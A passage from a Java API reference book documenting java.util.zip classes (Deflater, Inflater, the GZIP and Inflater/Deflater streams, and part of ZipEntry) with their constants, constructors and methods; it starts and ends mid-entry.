New as of JDK 1.1

Description

A DataFormatException is thrown when data is not in the expected format, which can mean that the data is invalid or corrupt. In particular, the inflate() methods of Inflater throw this exception if they encounter data in an unexpected format.

Class Summary

public class java.util.zip.DataFormatException
             extends java.lang.Exception {
  // Constructors
  public DataFormatException();
  public DataFormatException(String s);
}

Constructors

DataFormatException

protected DataFormatException()

Description

This constructor creates a DataFormatException with no associated detail message.

public DataFormatException(String s)

Parameters

s

The detail message.

Description

This constructor creates a DataFormatException with the specified detail message.

Inherited Methods

Method | Inherited From | Method | Inherited From
clone() | Object | equals(Object) | Object
fillInStackTrace() | Throwable | finalize() | Object
getClass() | Object | getLocalizedMessage() | Throwable
getMessage() | Throwable | hashCode() | Object
notify() | Object | notifyAll() | Object
printStackTrace() | Throwable | printStackTrace(PrintStream) | Throwable
printStackTrace(PrintWriter) | Throwable | toString() | Throwable
wait() | Object | wait(long) | Object
wait(long, int) | Object |  |

See Also

Exception, Inflater, Throwable

Previous | Home | Next
CRC32 | Book Index | Deflater
Java in a Nutshell Java Language Reference Java AWT Java Fundamental Classes Exploring Java


[Chapter 18] Deflater

Java Fundamental Classes Reference

Previous Chapter 18
The java.util.zip Package 		Next

Deflater

Name

Deflater

Synopsis

Class Name:

java.util.zip.Deflater

Superclass:

java.lang.Object

Immediate Subclasses:

None

Interfaces Implemented:

None

Availability:

New as of JDK 1.1

Description

The Deflater class provides support for general-purpose data compression. The class uses the ZLIB compression algorithms described in RFC 1950, RFC 1951, and RFC 1952. These documents can be found at:

  • ftp://ds.internic.net/rfc/rfc1950.txt

  • ftp://ds.internic.net/rfc/rfc1951.txt

  • ftp://ds.internic.net/rfc/rfc1952.txt

The Inflater class uncompresses data that has been compressed using Deflater.

The DeflaterOutputStream uses an internal Deflater to compress data. Typically, you do not need to create a Deflater; instead, you can just use an instance of one of the subclasses of DeflaterOutputStream : GZIPOutputStream or ZipOutputStream.

Class Summary

public class java.util.zip.Deflater extends java.lang.Object {
  // Constants
  public static final int BEST_COMPRESSION;
  public static final int BEST_SPEED;
  public static final int DEFAULT_COMPRESSION;
  public static final int DEFAULT_STRATEGY;
  public static final int DEFLATED;
  public static final int FILTERED;
  public static final int HUFFMAN_ONLY;
  public static final int NO_COMPRESSION;
  // Constructors
  public Deflater();
  public Deflater(int level);
  public Deflater(int level, boolean nowrap);
  // Public Instance Methods
  public int deflate(byte[] b);
  public synchronized native int deflate(byte[] b, int off, int len);
  public synchronized native void end();
  public synchronized void finish();
  public synchronized boolean finished();
  public synchronized native int getAdler();
  public synchronized native int getTotalIn();
  public synchronized native int getTotalOut();
  public boolean needsInput();
  public synchronized native void reset();
  public void setDictionary(byte[] b);
  public synchronized native void setDictionary(byte[] b, int off, int len);
  public void setInput(byte[] b);
  public synchronized void setInput(byte[] b, int off, int len);
  public synchronized void setLevel(int level);
  public synchronized void setStrategy(int strategy);
  // Protected Instance Methods
  protected void finalize();
}

Constants

BEST_COMPRESSION

public static final int BEST_COMPRESSION = 9

Description

A constant that represents a compression level that sacrifices speed for the smallest compressed data size. The compression level for a Deflater object can be set with setLevel(), where the level ranges from 0 to 9.

BEST_SPEED

public static final int BEST_SPEED = 1

Description

A constant that represents a compression level that sacrifices compressed data size for speed. The compression level for a Deflater object can be set with setLevel(), where the level ranges from 0 to 9.

DEFAULT_COMPRESSION

public static final int DEFAULT_COMPRESSION = -1

Description

A constant that represents the default compression level.

DEFAULT_STRATEGY

public static final int DEFAULT_STRATEGY

Description

A constant that represents the default compression strategy.

DEFLATED

public static final int DEFLATED

Description

A constant that represents a compression method that uses the deflate algorithm.

FILTERED

public static final int FILTERED

Description

A constant that represents a compression strategy that works well for small values with a random distribution.

HUFFMAN_ONLY

public static final int HUFFMAN_ONLY

Description

A constant that represents a compression strategy that uses only Huffman coding.

NO_COMPRESSION

public static final int NO_COMPRESSION = 0

Description

A constant that represents a compression level that does not compress data at all. The compression level for a Deflater object can be set with setLevel(), where the level ranges from 0 to 9.

Constructors

Deflater

public Deflater()

Description

This constructor creates a Deflater that generates compressed data in the ZLIB format using the DEFAULT_COMPRESSION level.

public Deflater(int level)

Parameters

level

The compression level, from 0 (NO_COMPRESSION) to 9 (BEST_COMPRESSION).

Description

This constructor creates a Deflater that generates compressed data in the ZLIB format using the given compression level.

public Deflater(int level, boolean nowrap)

Parameters

level

The compression level, from 0 (NO_COMPRESSION) to 9 (BEST_COMPRESSION).

nowrap

A boolean value that specifies whether or not the ZLIB header and checksum data are omitted from the compressed data.

Description

This constructor creates a Deflater that generates compressed data using the given compression level. If nowrap is true, the ZLIB header and checksum fields are not used, which means that the compressed data is in the format used by GZIP and PKZIP. If the parameter is false, the data is compressed into ZLIB format.

Public Instance Methods

deflate

public int deflate(byte[] b)

Parameters

b

A byte array to be filled.

Returns

The number of compressed bytes actually written to the array or 0 if more data may be required.

Description

This method compresses the data passed to setInput() and fills the given array with the compressed data. If this method returns zero, needsInput() should be called to determine whether the Deflater needs more data in its input buffer.

public synchronized native int deflate(byte[] b, int off, int len)

Parameters

b

A byte array to be filled.

off

An offset into the byte array.

len

The number of bytes to fill.

Returns

The number of compressed bytes actually written to the array or 0 if more data may be required.

Description

This method compresses the data passed to setInput() and writes len bytes of the compressed data into the given array, starting at off. If this method returns 0, needsInput() should be called to determine whether the Deflater needs more data in its input buffer.

end

public synchronized native void end()

Description

This method discards any uncompressed input data and frees up internal buffers.

finish

public synchronized void finish()

Description

This method tells the Deflater that the compression should end with the data that currently occupies the input buffer.

finished

public synchronized boolean finished()

Returns

A boolean value that indicates whether or not the end of the compressed data has been reached.

Description

This method returns true if the last of the compressed data has been read using deflate(). Otherwise it returns false.

getAdler

public synchronized native int getAdler()

Returns

The Adler-32 checksum value of the uncompressed data.

Description

This method returns an Adler32 checksum value that is calculated on the uncompressed data passed to setInput().

getTotalIn

public synchronized native int getTotalIn()

Returns

The total number of bytes that have been input so far.

Description

This method returns the number of bytes that have been passed to setInput() since this Deflater was created or since reset()was last called.

getTotalOut

public synchronized native int getTotalOut()

Returns

The total number of bytes that have been output so far.

Description

This method returns the number of bytes that have been read from deflate() since this Deflater was created, or since reset() was last called.

needsInput

public boolean needsInput()

Returns

A boolean value that indicates whether or not the input buffer is empty.

Description

This method returns true if the input buffer is empty. Otherwise it returns false.

reset

public synchronized native void reset()

Description

This method resets the Deflater to the state it was in when it was created, which means that a new set of data can be compressed.

setDictionary

public void setDictionary(byte[] b)

Parameters

b

An array of byte values.

Description

This method sets the preset dictionary for compression using the data in the given array.

 public synchronized native void setDictionary(byte[] b, int off, int len)

Parameters

b

An array of byte values.

off

An offset into the byte array.

len

The number of bytes to use.

Description

This method sets the preset dictionary for compression using len bytes from the given array, starting from off.

setInput

public void setInput(byte[] b)

Parameters

b

An array of byte values.

Description

This method places the contents of the given array into the input buffer of this Deflater. Use the deflate() method to compress the data and retrieve it in compressed form.

public synchronized void setInput(byte[] b, int off, int len)

Parameters

b

An array of byte values.

off

An offset into the byte array.

len

The number of bytes to use.

Description

This method places len bytes from the given array, starting at off, into the input buffer of this Deflater. Use the deflate() method to compress the data and retrieve it in compressed form.

setLevel

public synchronized void setLevel(int level)

Parameters

level

The compression level, from 0 (NO_COMPRESSION) to 9 (BEST_COMPRESSION).

Throws

IllegalArgumentException

If level is not valid.

Description

This method sets the compression level of this Deflater. A value of 0 corresponds to NO_COMPRESSION. A value of 1 indicates the fastest, least space-efficient compression level (BEST_SPEED). A value of 9 indicates the slowest, most space-efficient compression level (BEST_COMPRESSION).

setStrategy

public synchronized void setStrategy(int strategy)

Parameters

strategy

The compression strategy.

Throws

IllegalArgumentException

If strategy is not valid.

Description

This method sets the compression strategy of this Deflater, which should be one of FILTERED, HUFFMAN_ONLY, or DEFAULT_STRATEGY.

Protected Instance Methods

finalize

protected void finalize()

Overrides

Object.finalize()

Description

This method calls end() when this Deflater is garbage collected.

Inherited Methods

Method | Inherited From | Method | Inherited From
clone() | Object | equals(Object) | Object
getClass() | Object | hashCode() | Object
notify() | Object | notifyAll() | Object
toString() | Object | wait() | Object
wait(long) | Object | wait(long, int) | Object

See Also

DeflaterOutputStream, Inflater, GZIPOutputStream, ZipOutputStream

Previous | Home | Next
DataFormatException | Book Index | DeflaterOutputStream
Java in a Nutshell Java Language Reference Java AWT Java Fundamental Classes Exploring Java


[Chapter 18] DeflaterOutputStream

Java Fundamental Classes Reference

Previous Chapter 18
The java.util.zip Package 		Next

DeflaterOutputStream

Name

DeflaterOutputStream

Synopsis

Class Name:

java.util.zip.DeflaterOutputStream

Superclass:

java.io.FilterOutputStream

Immediate Subclasses:

java.util.zip.GZIPOutputStream, java.util.zip.ZipOutputStream

Interfaces Implemented:

None

Availability:

New as of JDK 1.1

Description

The DeflaterOutputStream class represents an OutputStream with an associated Deflater. In other words, a DeflaterOutputStream wraps a regular output stream, so that data written to the stream is compressed and written to the underlying stream. Two subclasses, GZIPOutputStream and ZipOutputStream, write compressed data in widely-recognized formats.

Class Summary

public class java.util.zip.DeflaterOutputStream
             extends java.io.FilterOutputStream {
  // Variables
  protected byte[] buf;
  protected Deflater def;
  // Constructors
  public DeflaterOutputStream(OutputStream out);
  public DeflaterOutputStream(OutputStream out, Deflater def);
  public DeflaterOutputStream(OutputStream out, Deflater def, int size);
  // Public Instance Methods
  public void close();
  public void finish();
  public void write(int b);
  public void write(byte[] b, int off, int len);
  // Protected Instance Methods
  protected void deflate();
}

Variables

buf

protected byte[] buf

Description

A buffer that holds the compressed data that is written to the underlying stream.

def

protected Deflater def

Description

The Deflater object that is used internally.

Constructors

DeflaterOutputStream

public DeflaterOutputStream(OutputStream out)

Parameters

out

The underlying output stream.

Description

This constructor creates a DeflaterOutputStream that writes data to the given OutputStream. Before being written, the data is compressed by a default Deflater. The DeflaterOutputStream uses a compression buffer with the default size of 512 bytes.

public DeflaterOutputStream(OutputStream out, Deflater def)

Parameters

out

The underlying output stream.

def

The Deflater object.

Description

This constructor creates a DeflaterOutputStream that writes data to the given OutputStream. Before being written, the data is compressed by the given Deflater. The DeflaterOutputStream uses a compression buffer with the default size of 512 bytes.

 public DeflaterOutputStream(OutputStream out, Deflater def, int size)

Parameters

out

The underlying output stream.

def

The Deflater object.

size

The size of the output buffer.

Description

This constructor creates a DeflaterOutputStream that writes data to the given OutputStream. Before being written, the data is compressed by the given Deflater. The DeflaterOutputStream uses a compression buffer of the given size.

Public Instance Methods

close

public void close() throws IOException

Throws

IOException

If any kind of I/O error occurs.

Overrides

FilterOutputStream.close()

Description

This method closes the stream and releases any system resources that are associated with it.

finish

public void finish() throws IOException

Throws

IOException

If any kind of I/O error occurs.

Description

This method finishes writing compressed data to the underlying stream without closing it.

write

public void write(int b) throws IOException

Parameters

b

The value to write.

Throws

IOException

If any kind of I/O error occurs.

Overrides

FilterOutputStream.write(int)

Description

This method compresses a byte that contains the lowest eight bits of the given integer value and writes it to the underlying OutputStream. The method blocks until the byte is written.

public void write(byte[] b, int off, int len) throws IOException

Parameters

b

An array of bytes to write to the stream.

off

An offset into the byte array.

len

The number of bytes to write.

Throws

IOException

If any kind of I/O error occurs.

Overrides

FilterOutputStream.write(byte[], int, int)

Description

This method takes len bytes from the given buffer, starting at off, and compresses them. The method then writes the compressed data to the underlying OutputStream. The method blocks until all of the bytes have been written.

Protected Instance Methods

deflate

protected void deflate() throws IOException

Throws

IOException

If any kind of I/O error occurs.

Description

This method asks the internal Deflater to compress the data in the buffer for this DeflaterOutputStream. The method then writes the compressed contents of the buffer to the underlying stream. The method is called by both write() methods.

Inherited Methods

Method | Inherited From | Method | Inherited From
clone() | Object | equals(Object) | Object
finalize() | Object | flush() | FilterOutputStream
getClass() | Object | hashCode() | Object
notify() | Object | notifyAll() | Object
toString() | Object | wait() | Object
wait(long) | Object | wait(long, int) | Object
write(byte[]) | FilterOutputStream |  |

See Also

Deflater, FilterOutputStream, GZIPOutputStream, IOException, OutputStream, ZipOutputStream

Previous | Home | Next
Deflater | Book Index | GZIPInputStream
Java in a Nutshell Java Language Reference Java AWT Java Fundamental Classes Exploring Java


[Chapter 18] GZIPInputStream

Java Fundamental Classes Reference

Previous Chapter 18
The java.util.zip Package 		Next

GZIPInputStream

Name

GZIPInputStream

Synopsis

Class Name:

java.util.zip.GZIPInputStream

Superclass:

java.util.zip.InflaterInputStream

Immediate Subclasses:

None

Interfaces Implemented:

None

Availability:

New as of JDK 1.1

Description

The GZIPInputStream class decompresses data that has been compressed using the GZIP format. To use it, simply construct a GZIPInputStream that wraps regular input stream and use the read() methods to read the compressed data.

Class Summary

public class java.util.zip.GZIPInputStream
             extends java.util.zip.InflaterInputStream {
  // Constants
  public static final int GZIP_MAGIC;
  // Variables
  protected CRC32 crc;
  protected boolean eos;
  // Constructors
  public GZIPInputStream(InputStream in);
  public GZIPInputStream(InputStream in, int size);
  // Instance Methods
  public void close();
  public int read(byte[] buf, int off, int len);
}

Constants

GZIP_MAGIC

public static final int GZIP_MAGIC

Description

A constant that contains the "magic number" that appears in the header of GZIP files.

Variables

crc

protected CRC32 crc

Description

A checksum value of the uncompressed data. When an entire file has been read, this checksum is compared to a value stored in the GZIP trailer. If the values do not match, an exception is thrown from read().

eos

protected boolean eos

Description

A flag that indicates whether or not the end of the compressed stream has been reached. It is set to true when the compressed data and the GZIP trailer have been read.

Constructors

GZIPInputStream

public GZIPInputStream(InputStream in) throws IOException

Parameters

in

The underlying input stream.

Throws

IOException

If an error occurs while reading the GZIP header.

Description

This constructor creates a GZIPInputStream that inflates data from the given InputStream. The GZIPInputStream uses a decompression buffer with the default size of 512 bytes. The GZIP header is read immediately.

 public GZIPInputStream(InputStream in, int size) throws IOException

Parameters

in

The underlying input stream.

size

The size of the input buffer.

Throws

IOException

If an error occurs while reading the GZIP header.

Description

This constructor creates a GZIPInputStream that inflates data from the given InputStream. The GZIPInputStream uses a decompression buffer of the given size. The GZIP header is read immediately.

Instance Methods

close

public void close() throws IOException

Throws

IOException

If any kind of I/O error occurs.

Overrides

FilterInputStream.close()

Description

This method closes this stream and releases any system resources that are associated with it.

read

public int read(byte[] buf, int off, int len) throws IOException

Parameters

buf

An array of bytes to be filled from the stream.

off

An offset into the byte array.

len

The number of bytes to read.

Returns

The number of bytes read or -1 if the end of the stream is encountered immediately.

Throws

IOException

If any kind of I/O error occurs or the checksum of the uncompressed data does not match that in the GZIP trailer.

Overrides

InflaterInputStream.read(byte[], int, int)

Description

This method reads enough data from the underlying InputStream to return len bytes of uncompressed data. The uncompressed data is placed into the given array starting at off. The method blocks until some data is available for decompression.

Inherited Methods

Method | Inherited From | Method | Inherited From
available() | FilterInputStream | clone() | Object
equals(Object) | Object | finalize() | Object
getClass() | Object | hashCode() | Object
mark(int) | FilterInputStream | markSupported() | FilterInputStream
notify() | Object | notifyAll() | Object
read() | InflaterInputStream | read(byte[]) | FilterInputStream
reset() | FilterInputStream | skip(long) | InflaterInputStream
toString() | Object | wait() | Object
wait(long) | Object | wait(long, int) | Object

See Also

FilterInputStream, Inflater, InflaterInputStream, InputStream, IOException

Previous | Home | Next
DeflaterOutputStream | Book Index | GZIPOutputStream
Java in a Nutshell Java Language Reference Java AWT Java Fundamental Classes Exploring Java


[Chapter 18] GZIPOutputStream

Java Fundamental Classes Reference

Previous Chapter 18
The java.util.zip Package 		Next

GZIPOutputStream

Name

GZIPOutputStream

Synopsis

Class Name:

java.util.zip.GZIPOutputStream

Superclass:

java.util.zip.DeflaterOutputStream

Immediate Subclasses:

None

Interfaces Implemented:

None

Availability:

New as of JDK 1.1

Description

The GZIPOutputStream class compresses data using the GZIP format. To use it, simply construct a GZIPOutputStream that wraps a regular output stream and use the write() methods to write compressed data.

Class Summary

public class java.util.zip.GZIPOutputStream
             extends java.util.zip.DeflaterOutputStream {
  // Variables
  protected CRC32 crc;
  // Constructors
  public GZIPOutputStream(OutputStream out);
  public GZIPOutputStream(OutputStream out, int size);
  // Instance Methods
  public void close();
  public void finish();
  public synchronized void write(byte[] buf, int off, int len);
}

Variables

crc

protected CRC32 crc

Description

A checksum that is updated with the uncompressed stream data. The checksum value is written into the GZIP trailer.

Constructors

GZIPOutputStream

public GZIPOutputStream(OutputStream out) throws IOException

Parameters

out

The underlying output stream.

Throws

IOException

If an error occurs while writing the GZIP header.

Description

This constructor creates a GZIPOutputStream that writes compressed data to the given OutputStream. The GZIPOutputStream uses a compression buffer with the default size of 512 bytes.

 public GZIPOutputStream(OutputStream out, int size) throws IOException

Parameters

out

The underlying output stream.

size

The size of the output buffer.

Throws

IOException

If an error occurs while writing the GZIP header.

Description

This constructor creates a GZIPOutputStream that writes compressed data to the given OutputStream. The GZIPOutputStream uses a compression buffer of the given size.

Instance Methods

close

public void close() throws IOException

Throws

IOException

If any kind of I/O error occurs.

Overrides

DeflaterOutputStream.close()

Description

This method closes the stream and releases any system resources that are associated with it.

finish

public void finish() throws IOException

Throws

IOException

If any kind of I/O error occurs.

Overrides

DeflaterOutputStream.finish()

Description

This method finishes writing compressed data to the underlying stream without closing it.

write

public void write(byte[] buf, int off, int len) throws IOException

Parameters

buf

An array of bytes to write to the stream.

off

An offset into the byte array.

len

The number of bytes to write.

Throws

IOException

If any kind of I/O error occurs.

Overrides

DeflaterOutputStream.write(byte[], int, int)

Description

This method takes len bytes from the given buffer, starting at off, and compresses them. The method then writes the compressed data to the underlying OutputStream. The method blocks until all of the bytes have been written.

Inherited Methods

Method | Inherited From | Method | Inherited From
clone() | Object | equals(Object) | Object
finalize() | Object | flush() | FilterOutputStream
getClass() | Object | hashCode() | Object
notify() | Object | notifyAll() | Object
toString() | Object | wait() | Object
wait(long) | Object | wait(long, int) | Object
write(int) | DeflaterOutputStream | write(byte[]) | FilterOutputStream

See Also

Deflater, DeflaterOutputStream, FilterOutputStream, IOException, OutputStream

Previous | Home | Next
GZIPInputStream | Book Index | Inflater
Java in a Nutshell Java Language Reference Java AWT Java Fundamental Classes Exploring Java


[Chapter 18] Inflater

Java Fundamental Classes Reference

Previous Chapter 18
The java.util.zip Package 		Next

Inflater

Name

Inflater

Synopsis

Class Name:

java.util.zip.Inflater

Superclass:

java.lang.Object

Immediate Subclasses:

None

Interfaces Implemented:

None

Availability:

New as of JDK 1.1

Description

The Inflater class provides support for general-purpose data decompression. The class uses the ZLIB compression algorithms described in RFC 1950, RFC 1951, and RFC 1952. These documents can be found at:

  • ftp://ds.internic.net/rfc/rfc1950.txt

  • ftp://ds.internic.net/rfc/rfc1951.txt

  • ftp://ds.internic.net/rfc/rfc1952.txt

The Deflater class compresses data that can be uncompressed using Inflater.

The InflaterInputStream uses an internal Inflater to decompress data. Typically, you do not need to create a Inflater; instead, you can just use an instance of one of the subclasses of InflaterInputStream: GZIPInputStream or ZipInputStream.

Class Summary

public class java.util.zip.Inflater extends java.lang.Object {
  // Constructors
  public Inflater();
  public Inflater(boolean nowrap);
  // Public Instance Methods
  public synchronized native void end();
  public synchronized boolean finished();
  public synchronized native int getAdler();
  public synchronized int getRemaining();
  public synchronized native int getTotalIn();
  public synchronized native int getTotalOut();
  public int inflate(byte[] b);
  public synchronized native int inflate(byte[] b, int off, int len);
  public synchronized boolean needsDictionary();
  public synchronized boolean needsInput();
  public synchronized native void reset();
  public void setDictionary(byte[] b);
  public synchronized native void setDictionary(byte[] b, int off, int len);
  public void setInput(byte[] b);
  public synchronized void setInput(byte[] b, int off, int len);
  // Protected Instance Methods
  protected void finalize();
}

Constructors

Inflater

public Inflater()

Description

This constructor creates an Inflater that decompresses data in the ZLIB format.

public Inflater(boolean nowrap)

Parameters

nowrap

A boolean value that specifies whether or not the ZLIB header and checksum data are expected in the compressed data.

Description

This constructor creates an Inflater that decompresses data. If nowrap is true, the ZLIB header and checksum fields are not expected, which means that the compressed data is in the format used by GZIP and PKZIP. If the parameter is false, the data is decompressed in the ZLIB format.

Public Instance Methods

end

public synchronized native void end()

Description

This method discards any unprocessed input data and frees up internal buffers.

finished

public synchronized boolean finished()

Returns

A boolean value that indicates whether or not the end of the compressed data has been reached.

Description

This method returns true if the last of the compressed data has been read using inflate(). Otherwise it returns false.

getAdler

public synchronized native int getAdler()

Returns

The Adler32 checksum value of the uncompressed data.

Description

This method returns an Adler32 checksum value that is calculated from the uncompressed data returned by inflate().

getRemaining

public synchronized int getRemaining()

Returns

The number of bytes remaining in the input buffer.

Description

This method returns the number of bytes that are in the input buffer. It can be called to find out how much data remains after a call to inflate().

getTotalIn

public synchronized native int getTotalIn()

Returns

The total number of bytes that have been input so far.

Description

This method returns the number of bytes that have been passed to setInput() since this Inflater was created or since reset() was last called.

getTotalOut

public synchronized native int getTotalOut()

Returns

The total number of bytes that have been output so far.

Description

This method returns the number of bytes that have been read from inflate() since this Inflater was created or since reset() was last called.

inflate

public int inflate(byte[] b) throws DataFormatException

Parameters

b

A byte array to be filled.

Returns

The number of decompressed bytes actually written to the array or 0 if more data may be required.

Throws

DataFormatException

If the data in the input buffer is not in the correct format.

Description

This method decompresses the data passed to setInput() and fills the given array with decompressed data. If this method returns 0, needsInput() and needsDictionary() should be called in order to determine whether the Inflater needs more data in its input buffer or whether it needs a preset dictionary.

 public synchronized native int inflate(byte[] b, int off, int len) throws DataFormatException

Parameters

b

A byte array to be filled.

off

An offset into the byte array.

len

The number of bytes to fill.

Returns

The number of decompressed bytes written to the array or 0 if more data may be required.

Throws

DataFormatException

If the data in the input buffer is not in the correct format.

Description

This method decompresses the data passed to setInput() and writes len bytes of the decompressed data into the given array, starting at off. If this method returns 0, needsInput() and needsDictionary() should be called in order to determine whether the Inflater needs more data in its input buffer or whether it needs a preset dictionary.

needsDictionary

public synchronized boolean needsDictionary()

Returns

A boolean value that indicates whether or not a preset dictionary is needed.

Description

This method returns true if a preset dictionary is needed for decompression. Otherwise it returns false.

needsInput

public synchronized boolean needsInput()

Returns

A boolean value that indicates whether or not the input buffer is empty.

Description

This method returns true if the input buffer is empty. Otherwise it returns false.

reset

public synchronized native void reset()

Description

This method resets the Inflater to the state it was in when it was created, which means that a new set of data can be decompressed.

setDictionary

public void setDictionary(byte[] b)

Parameters

b

An array of byte values.

Description

This method sets the preset dictionary for decompression using the data in the given array.

 public synchronized native void setDictionary(byte[] b, int off, int len)

Parameters

b

An array of byte values.

off

An offset into the byte array.

len

The number of bytes to use.

Description

This method sets the preset dictionary for decompression using len bytes from the given array, starting from off.

setInput

public void setInput(byte[] b)

Parameters

b

An array of byte values.

Description

This method places the contents of the given array into the input buffer of this Inflater.

public synchronized void setInput(byte[] b, int off, int len)

Parameters

b

An array of byte values.

off

An offset into the byte array.

len

The number of bytes to use.

Description

This method places len bytes from the given array, starting at off, into the input buffer of this Inflater. Use the inflate() method to decompress the data and retrieve it in decompressed form.

Protected Instance Methods

finalize

protected void finalize()

Overrides

Object.finalize()

Description

This method calls end() when this Inflater is garbage collected.

Inherited Methods

Method | Inherited From | Method | Inherited From
clone() | Object | equals(Object) | Object
getClass() | Object | hashCode() | Object
notify() | Object | notifyAll() | Object
toString() | Object | wait() | Object
wait(long) | Object | wait(long, int) | Object

See Also

Deflater, GZIPInputStream, InflaterInputStream, ZipInputStream

Previous | Home | Next
GZIPOutputStream | Book Index | InflaterInputStream
Java in a Nutshell Java Language Reference Java AWT Java Fundamental Classes Exploring Java


[Chapter 18] InflaterInputStream

Java Fundamental Classes Reference

Previous Chapter 18
The java.util.zip Package 		Next

InflaterInputStream

Name

InflaterInputStream

Synopsis

Class Name:

java.util.zip.InflaterInputStream

Superclass:

java.io.FilterInputStream

Immediate Subclasses:

java.util.zip.GZIPInputStream, java.util.zip.ZipInputStream

Interfaces Implemented:

None

Availability:

New as of JDK 1.1

Description

The InflaterInputStream class represents an InputStream with an associated Inflater. In other words, an InflaterInputStream wraps a regular input stream, so that data read from the stream is read from an underlying stream and decompressed. Two subclasses, GZIPInputStream and ZipInputStream, read compressed data in widely recognized formats.

Class Summary

public class java.util.zip.InflaterInputStream
             extends java.io.FilterInputStream {
  // Variables
  protected byte[] buf;
  protected Inflater inf;
  protected int len;
  // Constructors
  public InflaterInputStream(InputStream in);
  public InflaterInputStream(InputStream in, Inflater inf);
  public InflaterInputStream(InputStream in, Inflater inf, int size);
  // Public Instance Methods
  public int read();
  public int read(byte[] b, int off, int len);
  public long skip(long n);
  // Protected Instance Methods
  protected void fill();
}

Variables

buf

protected byte[] buf

Description

A buffer that holds the compressed data that is written to the underlying stream.

inf

protected Inflater inf

Description

The Inflater that is used internally.

len

protected int len

Description

The amount of data that is in the input buffer.

Constructors

InflaterInputStream

public InflaterInputStream(InputStream in)

Parameters

in

The underlying input stream.

Description

This constructor creates an InflaterInputStream that reads data from the given InputStream. Before being read, the data is decompressed by a default Inflater. The InflaterInputStream uses a decompression buffer with the default size of 512 bytes.

public InflaterInputStream(InputStream in, Inflater inf)

Parameters

in

The underlying input stream.

inf

The Inflater object.

Description

This constructor creates an InflaterInputStream that reads data from the given InputStream. Before being read, the data is decompressed by the given Inflater. The InflaterInputStream uses a decompression buffer with the default size of 512 bytes.

public InflaterInputStream(InputStream in, Inflater inf, int size)

Parameters

in

The underlying input stream.

inf

The Inflater object.

size

The size of the input buffer.

Description

This constructor creates an InflaterInputStream that reads data from the given InputStream. Before being read, the data is decompressed by the given Inflater. The InflaterInputStream uses a decompression buffer of the given size.

Instance Methods

read

public int read() throws IOException

Returns

The next uncompressed byte or -1 if the end of the stream is encountered.

Throws

IOException

If any kind of I/O error occurs.

Overrides

FilterInputStream.read()

Description

This method reads enough data from the underlying InputStream to return a byte of uncompressed data. The method blocks until enough data is available for decompression, the end of the stream is detected, or an exception is thrown.

public int read(byte[] b, int off, int len) throws IOException

Parameters

b

An array of bytes to be filled from the stream.

off

An offset into the byte array.

len

The number of bytes to read.

Returns

The number of bytes read or -1 if the end of the stream is encountered immediately.

Throws

IOException

If any kind of I/O error occurs.

Overrides

FilterInputStream.read(byte[], int, int)

Description

This method reads enough data from the underlying InputStream to return len bytes of uncompressed data. The uncompressed data is placed into the given array starting at off. The method blocks until some data is available for decompression.

skip

public long skip(long n) throws IOException

Returns

The actual number of bytes skipped.

Throws

IOException

If any kind of I/O error occurs.

Overrides

FilterInputStream.skip()

Description

This method skips over the specified number of uncompressed data bytes by reading data from the underlying InputStream and decompressing it.

Protected Instance Methods

fill

protected void fill() throws IOException

Throws

IOException

If any kind of I/O error occurs.

Description

This method fills the input buffer with compressed data from the underlying InputStream.

Inherited Methods

Method | Inherited From | Method | Inherited From
available() | FilterInputStream | clone() | Object
close() | FilterInputStream | equals(Object) | Object
finalize() | Object | getClass() | Object
hashCode() | Object | mark(int) | FilterInputStream
markSupported() | FilterInputStream | notify() | Object
notifyAll() | Object | read() | InflaterInputStream
read(byte[]) | FilterInputStream | reset() | FilterInputStream
toString() | Object | wait() | Object
wait(long) | Object | wait(long, int) | Object

See Also

FilterInputStream, GZIPInputStream, Inflater, InputStream, IOException, ZipInputStream

Previous | Home | Next
Inflater | Book Index | ZipEntry
Java in a Nutshell Java Language Reference Java AWT Java Fundamental Classes Exploring Java


[Chapter 18] ZipEntry

Java Fundamental Classes Reference

Previous Chapter 18
The java.util.zip Package 		Next

ZipEntry

Name

ZipEntry

Synopsis

Class Name:

java.util.zip.ZipEntry

Superclass:

java.lang.Object

Immediate Subclasses:

None

Interfaces Implemented:

None

Availability:

New as of JDK 1.1

Description

The ZipEntry class represents a single entry in a ZIP file, which is either a compressed file or an uncompressed file. ZipEntry provides methods that set and retrieve various pieces of information about an entry.

When you are reading a ZIP file, you use ZipInputStream.getNextEntry() to return the next entry in the file. Then you can retrieve information about that particular entry. You can also read the entries in a ZIP file in a nonsequential order using the ZipFile class.

When you are writing a ZIP file, you use ZipOutputStream.putNextEntry() to write an entry, and you must create your own ZipEntry objects. If you are storing compressed (deflated) files, you need only specify a name for the ZipEntry ; the other fields are filled in automatically. If, however, you are placing uncompressed entries, you need to specify the size of each entry and provide a CRC-32 checksum value.

Class Summary

public class java.util.zip.ZipEntry extends java.lang.Object {
  // Constants
  public static final int DEFLATED;
  public static final int STORED;
  // Constructors
  public ZipEntry(String name);
  // Instance Methods
  public String getComment();
  public long getCompressedSize();
  public long getCrc();
  public byte[] getExtra();
  public int getMethod();
  public String getName();
  public long getSize();
  public long getTime();
  public boolean isDirectory();
  public void setComment(String comment);
  public void setCrc(long crc);
  public void setExtra(byte[] extra);
  public void setMethod(int method);
  public void setSize(long size);
  public void setTime(long time);
  public String toString();
}

Constants

DEFLATED

public static final int DEFLATED

Description

A constant that represents an entry that is stored using the deflate algorithm.

STORED

public static final int STORED

Description

A constant that represents an entry that is stored verbatim; in other words, with no compression applied.

Constructors

ZipEntry

public ZipEntry(String name)

Parameters

name

The name of the entry.

Throws

NullPointerException

If name is null.

IllegalArgumentException

If name is longer than 0xFFFF bytes.

Description

This constructor creates a ZipEntry with the given name.

Instance Methods

getComment

public String getComment()

Returns

The comment of this entry or null if one has not been specified.

Description

This method returns the comment string for this ZipEntry.

getCompressedSize

public long getCompressedSize()

Returns

The compressed size of this entry or -1 is the compressed size is not known.

Description

This method returns the compressed size of this ZipEntry.

getCrc

public long getCrc()

Returns

The checksum value for this entry.

Description

This method returns the CRC-32 checksum value for this ZipEntry.

getExtra

public byte[] getExtra()

Returns

The extra field data for this entry or null if there is none.

Description

This method returns the bytes in the extra field data for this ZipEntry.

getMethod

public int getMethod()

Returns

The compression method of this entry or -1 if it has not been specified.

Description

This method returns the compression method of this ZipEntry. Valid values are DEFLATED and STORED.

getName

public String getName()

Returns

The name of this entry.

Description

This method returns the string name of this ZipEntry.

getSize

public long getSize()

Returns

The uncompressed size of this entry or -1 if the uncompressed size is not known.

Description

This method returns the uncompressed size of this ZipEntry.

getTime

public long getTime()

Returns

The modification date of this entry.

Description

